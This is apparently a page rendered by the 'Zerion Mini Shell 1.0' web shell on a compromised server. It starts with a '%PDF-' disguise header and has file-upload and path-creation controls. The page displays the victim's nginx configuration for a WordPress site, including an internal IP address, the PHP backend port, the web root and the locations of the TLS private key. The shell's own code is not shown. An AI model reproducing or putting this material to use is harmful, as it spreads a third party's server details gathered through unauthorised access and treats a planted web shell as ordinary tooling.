%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /etc/nginx/sites-enabled/
Upload File :
Create Path :
Current File : //etc/nginx/sites-enabled/masazededik

server {
        listen 10.27.27.5:443 ssl http2;
        server_name  masazededik.varak.net;
        client_max_body_size 50m;
        root   /www/masazededik/www;
        index index.php;

        include ssl_params;
ssl_certificate /etc/letsencrypt/live/varak.net-0001/fullchain.pem; # managed by Certbot
ssl_certificate_key /etc/letsencrypt/live/varak.net-0001/privkey.pem; # managed by Certbot


        set $cache_uri $request_uri;

    # POST requests and urls with a query string should always go to PHP
    if ($request_method = POST) {
        set $cache_uri 'null cache';
    }
    if ($query_string != "") {
        set $cache_uri 'null cache';
    }

    # Don't cache uris containing the following segments
    if ($request_uri ~* "(/wp-admin/|/xmlrpc.php|/wp-(app|cron|login|register|mail).php|wp-.*.php|/feed/|index.php|wp-comments-popup.php|wp-links-opml.php|wp-locations.php|sitemap(_index)?.xml|[a-z0-9_-]+-sitemap([0-9]+)?.xml)") {
        set $cache_uri 'null cache';
    }

    # Don't use the cache for logged in users or recent commenters
    if ($http_cookie ~* "comment_author|wordpress_[a-f0-9]+|wp-postpass|wordpress_logged_in") {
        set $cache_uri 'null cache';
    }

    # Use cached or actual file if they exists, otherwise pass request to WordPress
    location / {
        try_files /.cache/supercache/$http_host/$cache_uri/index-https.html /.cache/supercache/$http_host/$cache_uri/index.html $uri $uri/ /index.php ;
    }

#        location / {
#                # This is cool because no php is touched for static content.
#                # include the "?$args" part so non-default permalinks doesn't break when using query string
#                try_files $uri $uri/ /index.php?$args;
#               #try_files $uri $uri/ /index.php?q=$uri&$args;
#       }

        location ~ \.php$ {
                include fastcgi_params;
                fastcgi_pass  127.0.0.1:7083;
                fastcgi_index  index.php;
                fastcgi_param  SCRIPT_FILENAME    /www/masazededik/www$fastcgi_script_name;
        }

        rewrite /wp-admin$ $scheme://$host$uri/ permanent;


}

Zerion Mini Shell 1.0